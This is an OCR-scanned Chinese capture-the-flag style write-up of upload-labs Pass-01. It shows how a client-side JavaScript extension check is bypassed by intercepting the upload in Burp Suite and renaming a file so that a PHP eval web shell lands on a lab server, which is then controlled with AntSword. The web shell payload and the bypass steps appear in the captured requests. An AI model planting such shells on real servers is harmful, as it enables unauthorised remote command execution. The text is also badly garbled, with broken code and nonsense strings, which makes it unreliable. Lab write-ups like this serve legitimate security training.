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function checkFile() {

var file = document.getElementsByName('upload file')[@].value;

if (file == null || file == "") {
alert ("EEBEE RERXH!T);
return i

b
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var allow_ext = ".jpg|.png|.gif";
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var ext_name = file.substring(file.lastIndexOf("."));
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if (allow_ext.indexOf(ext_name + "|") == -1) {
var errMsg = "ZXHEARRE LML, LA + allow_ext + "ERMSCE, BRETCHEREA: " + ext_name;
alert(errMsg);
return 8
)i
)i
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JavaScript document getElementByName() 77k

var file = document.getElementsByName( 'upload file')[0].value;
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1/ EX T HF_LAERI X AFEZ
var allow_ext = ".jpg|.png|.gif";
// BRI
var ext_name = file.substring(file.lastIndexOf("."));
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if (allow_ext.indexOf(ext_name + "|") == -1) {
var errMsg = "IZXCHARY EE, B EE" + allow_ext + "HEASIME, HETSCAFEER: " + ext_name;
alert(errMsg);
return false;
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@ Request to http://192.168.43.54:80

l Forward J [ Drop J [ Intercept is on ] Action

jRaw I Params I Headers T Hex }

POST fupload-labs-master/Pass-01/index. php HTTP/ .1

Host: 192168 43.54

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOWB4, rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html application/xhtml+xml, application/xml;q=0.9 */*,q=0.8
Accept-Language: zh-CM zh;g=0.8 en-US;q=0.5 en;q=0.3

Accept-Encoding: gzip, deflate

Referer: http:/192.168.43 54/upload-labs-master/Pass-01/index.php

DNT: 1

Connection: close

Upgrade-Insecure-Requests: 1

Content-Type: multipart/farm-data; boundary=------------------mmeeeem- 16151524414056
Content-Length: 302

----------------------------- 16151524414056
Content-Disposition: form-data; name="upload_file"; filename="test1 txt.jpg"
Content-Type: image/jpeg

<?php @eval(b_POST["cmd"]);?=
----------------------------- 16151524414056
Content-Disposition: form-data; name="submit"

1615152441 4056--

@ Request to http://192.168.43.54:80

[ Forward J l Drop J [ Intercept is on ] Action

J RawI Params T Headers I Hex ]

FPOST fupload-labs-master/Pass-01/index. php HTTP/M .1

Host: 192.168.43.54

User-Agent: Mozilla/s.0 (Windows MT 10.0; WOWE4, nv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html application/xhtml+xml application/xml, q=0.9 **q=0.8
Accept-Language: zh-CM,zh;q=0.8 en-US;q=0.5 en;q=0.3

Accept-Encoding: gzip, deflate

Referer: http:/192.168.43.54/upload-labs-master/Pass-01/index.php

DNT: 1

Connection: close

Upgrade-Insecure-Requests: 1

Caontent-Type: multipartform-data; boundary=--—--------————--- 16151524414056
Content-Length: 302

----------------------------- 16151524414056
Caontent-Disposition: form-data; name="upload_file"; filename="test1.php|
Content-Type: image/jpeg

<?php @eval($_POST["cmd"]);?=
————————————————————————————— 16151524414056
Caontent-Disposition: form-data; name="submit"
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@ Load URL fhttp:/ﬁ 92.168.43.54/upload-labs-master/upload/test1 .php‘
4 spliturRL

’ Execute

[] Postdata [ | Referrer 4™ OxHEX &% %URL X &% BASE64A Insert string to replact| | Insert replacing string Replace All Z

shell url BIHENIRIKEHTRKE R url bk, RS T RERERD)



[ Add shell

© Add % Clear

Shell url *
Shell pwd * | cmd
Encode UTFS
Shell type PHP
Encoder
) default
O chr
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2 AntSword
AntSword Data Edit Window
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[0 Folders (0) £

= cf
=771 phpstudy_pro
=0 www
= upload-labs-master
I upload

- .43.54,’upload-labs-masterfuploadfm-

[ Files (2)

QO New - + Up 2 Refresh # Home

Name
readme.php
@ testl.php

M Bookmark -

C:/phpstudy_pro/WwWwW/upload-labs-master/upload/

Time Size Attr

2020-01-15 22:38:33 97 b 0666

2021-07-20 15:52:58 29b 0666



	安全-Pass01之前端js绕过（upload-labs）
	文章目录

	前言
	相关介绍
	其他介绍

	一、题目
	二、WriteUp
	[1]. 源码审计
	[2]. js绕过


